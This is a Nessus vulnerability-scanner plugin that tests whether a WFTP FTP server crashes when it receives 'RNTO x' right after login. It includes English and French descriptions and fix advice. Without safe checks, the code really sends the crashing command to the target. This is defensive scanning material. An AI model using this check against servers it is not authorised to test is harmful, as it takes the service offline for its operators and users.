home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / wftp_dos.nasl < prev    next >
Text File  |  2005-01-14  |  4KB  |  143 lines

  1. #
  2. # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
  3. #
  4. # See the Nessus Scripts License for details
  5. #
  6.  
  7. if(description)
  8. {
  9.  script_id(10466);
  10.  script_bugtraq_id(1456);
  11. script_cve_id("CAN-2000-0648");
  12.  script_version ("$Revision: 1.17 $");
  13.  
  14.  name["english"] = "WFTP RNTO DoS";
  15.  name["francais"] = "DΘni de service WFTP par la commande RNTO";
  16.  
  17.  script_name(english:name["english"], francais:name["francais"]);
  18.  
  19.  desc["english"] = "
  20. The remote FTP server crashes when the command
  21. 'RNTO x' is issued right after the login.
  22.  
  23. An attacker may use this flaw to prevent you
  24. from publishing anything using FTP.
  25.  
  26. Solution : if you are using wftp, then upgrade to
  27. version 2.41 RC11, if you are not, then contact
  28. your vendor for a fix.
  29.  
  30. Risk factor : High";
  31.  
  32.  
  33.  
  34.  desc["francais"] = "
  35. Le serveur FTP distant plante lorsque la commande
  36. 'RNTO x' est donnΘe aprΦs la sΘquence de login.
  37.  
  38. Un pirate peut utiliser ce problΦme pour vous empecher
  39. de publier quoi que ce soit par ftp.
  40.  
  41. Solution; si vous utilisez wftp, alors mettez-le α jour
  42. en version 2.41 RC11. Sinon, contactez le vendeur et
  43. informez-le de cette vulnΘrabilitΘ.
  44.  
  45. Facteur de risque : SΘrieux";
  46.  
  47.  
  48.  script_description(english:desc["english"], francais:desc["francais"]);
  49.  
  50.  summary["english"] = "Crashes the remote ftp server";
  51.  summary["francais"] = "Plante le serveur ftp distant";
  52.  script_summary(english:summary["english"], francais:summary["francais"]);
  53.  
  54.  script_category(ACT_MIXED_ATTACK); # mixed
  55.  
  56.  script_copyright(english:"This script is Copyright (C) 2000 Renaud Deraison",
  57.         francais:"Ce script est Copyright (C) 2000 Renaud Deraison");
  58.  family["english"] = "FTP";
  59.  family["francais"] = "FTP";
  60.  script_family(english:family["english"], francais:family["francais"]);
  61.  script_dependencie("find_service.nes", "ftp_anonymous.nasl");
  62.  script_require_ports("Services/ftp", 21);
  63.  script_require_keys("ftp/login");
  64.  exit(0);
  65. }
  66.  
  67. #
  68. # The script code starts here
  69. #
  70. include("ftp_func.inc");
  71.  
  72. port = get_kb_item("Services/ftp");
  73. if(!port)port = 21;
  74. if(!get_port_state(port)) exit(0);
  75.  
  76. if(safe_checks())
  77. {
  78.  banner = get_ftp_banner(port: port);
  79.  if("WFTP" >< banner)
  80.  {
  81.  desc = "
  82. You are running WFTP. One version of this
  83. server crashes when the command
  84. 'RNTO x' is issued right after the login.
  85.  
  86. An attacker may use this flaw to prevent you
  87. from publishing anything using FTP.
  88.  
  89. *** Nessus reports this vulnerability using only
  90. *** information that was gathered. Use caution
  91. *** when testing without safe checks enabled.
  92.  
  93. Solution : Make sure you are running WFTP 2.41 RC11
  94. or newer 
  95.  
  96. Risk factor : High";
  97.  security_hole(port:port, data:desc);
  98.  }
  99.  exit(0);
  100. }
  101.  
  102.  
  103.  login = get_kb_item("ftp/login");
  104.  pass  = get_kb_item("ftp/password");
  105.  soc = open_sock_tcp(port);
  106.  if(soc)
  107.  {
  108.   if(login)
  109.   {
  110.   if(ftp_log_in(socket:soc, user:login, pass:pass))
  111.    {
  112.     req = string("RNTO x\r\n");
  113.     send(socket:soc, data:req);
  114.     ftp_close(socket:soc);
  115.     soc2 = open_sock_tcp(port);
  116.     r = ftp_recv_line(socket:soc2);
  117.     ftp_close(socket: soc2);
  118.     if(!r)security_hole(port);
  119.     exit(0);
  120.    }
  121.   else
  122.     {
  123.      close(soc);
  124.      soc = open_sock_tcp(port);
  125.     }   
  126.   }
  127.   
  128.   r = ftp_recv_line(socket:soc);
  129.   ftp_close(socket: soc);
  130.   if("WFTPD 2.4 service" >< r)
  131.   {
  132.    data = string(
  133.   "The remote FTP server *may* be vulnerable to a denial of\n",
  134.  "service attack, but we could not check for it, as we could not\n",
  135.  "log into this server.\n",
  136.  "Make sure you are running WFTPd 2.41 RC11 or an attacker with a login\n",
  137.  "and a password may shut down this server\n",
  138.  "Risk factor : High");
  139.   security_hole(port:port, data:data);
  140.   }
  141.  }
  142.  
  143.